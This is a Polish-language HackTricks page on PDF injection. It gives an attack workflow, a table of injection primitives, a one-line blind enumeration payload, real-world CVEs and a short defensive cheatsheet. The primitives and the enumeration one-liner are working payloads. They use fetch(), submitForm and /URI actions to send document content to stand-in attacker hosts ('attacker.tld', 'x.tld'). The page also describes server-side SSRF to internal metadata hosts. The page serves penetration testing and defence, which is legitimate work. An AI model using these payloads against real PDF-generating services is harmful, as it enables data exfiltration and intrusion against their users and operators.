PDF Injection

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Jeśli twój input jest odzwierciedlany w pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby wykonać JavaScript, przeprowadzić SSRF lub ukraść zawartość PDF. Składnia PDF jest niezwykle elastyczna – jeśli możesz wydostać się z ciągu lub słownika, który osadza twój input, możesz dodać całkowicie nowe obiekty (lub nowe klucze w tym samym obiekcie), które Acrobat/Chrome chętnie zanalizuje. Od 2024 roku fala raportów o bug-bounty pokazała, że jedna nieucieczona nawias lub ukośnik jest wystarczająca do pełnego wykonania skryptu.

TL;DR – Nowoczesny Workflow Ataku (2024)

  1. Znajdź dowolną wartość kontrolowaną przez użytkownika, która trafia do (ciągu nawiasowego), /URI ( … ) lub /JS ( … ) w wygenerowanym PDF.
  2. Wstrzyknij ) (zamykając ciąg) po którym następuje jeden z poniższych prymitywów i zakończ kolejnym otwierającym nawiasem, aby zachować poprawność składni.
  3. Dostarcz złośliwy plik PDF do ofiary (lub do usługi backendowej, która automatycznie renderuje plik – świetne dla ślepych błędów).
  4. Twój ładunek działa w przeglądarce PDF:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (zobacz CVE-2024-4367)
  • Acrobat → Pełne API JavaScript (może wyeksportować dowolne zawartości plików za pomocą this.getPageNthWord)

Przykład (przechwycenie linku adnotacji):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

Pierwszy ) zamyka oryginalny ciąg URI, następnie dodajemy nowy słownik Akcji, który Acrobat wykona, gdy użytkownik kliknie link.

Przydatne Prymitywy Wstrzykiwania

CelFragment ŁadunkuUwagi
JavaScript przy otwarciu/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Wykonywane natychmiast po otwarciu dokumentu (działa w Acrobat, nie w Chrome).
JavaScript przy linku/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Działa w PDFium i Acrobat, jeśli kontrolujesz adnotację /Link.
Ślepe wyciek danych<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Połącz z this.getPageNthWord wewnątrz JS, aby ukraść treść.
Server-Side SSRFTo samo co powyżej, ale celuj w wewnętrzny URL – świetne, gdy PDF jest renderowany przez usługi back-office, które honorują /URI.
Złamanie linii dla nowych obiektów\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjJeśli biblioteka pozwala na wstrzykiwanie znaków nowej linii, możesz tworzyć zupełnie nowe obiekty.

Sztuczka Ślepej Enumeracji

Gareth Heyes (PortSwigger) opublikował jedną linię kodu, która enumeruje każdy obiekt w nieznanym dokumencie – przydatne, gdy nie możesz zobaczyć wygenerowanego PDF:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Kod iteruje po DOM Acrobat i wykonuje zewnętrzne żądania dla każdej pary właściwość/wartość, dając ci JSON-owy zrzut pliku. Zobacz dokument "Portable Data exFiltration" dla pełnej techniki.

Real-World Bugs (2023-2025)

  • CVE-2024-4367 – Dowolne wykonanie JavaScript w PDF.js Firefoxa przed 4.2.67 omijało piaskownicę za pomocą spreparowanej akcji /JavaScript.
  • Bug bounty 2024-05 – Główny fintech pozwolił na notatki faktur dostarczane przez klientów, które trafiły do /URI; raport zapłacono 10 tys. dolarów po wykazaniu SSRF do wewnętrznego hosta metadanych za pomocą URI file:///.
  • CVE-2023-26155node-qpdf wstrzyknięcie polecenia przez niesanitowaną ścieżkę PDF pokazuje znaczenie ucieczki ukośników i nawiasów nawet przed warstwą PDF.

Defensive Cheatsheet

  1. Nigdy nie łącz surowego wejścia użytkownika wewnątrz () ciągów lub nazw. Użyj ucieczki \, (, ) zgodnie z §7.3 specyfikacji PDF lub użyj ciągów szesnastkowych <...>.
  2. Jeśli tworzysz linki, preferuj /URI (https://…), które w pełni kodujesz URL; blokuj schematy javascript: w klientach.
  3. Usuń lub zwaliduj słowniki /OpenAction, /AA (dodatkowe akcje), /Launch, /SubmitForm i /ImportData podczas przetwarzania PDF.
  4. Po stronie serwera renderuj nieufne PDF-y za pomocą konwertera bezgłowego (np. qpdf –decrypt –linearize), który usuwa JavaScript i zewnętrzne akcje.
  5. Utrzymuj przeglądarki PDF w aktualizacji; PDF.js < 4.2.67 i Acrobat Reader przed lipcem 2024 pozwalają na trywialne wykonanie kodu.

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks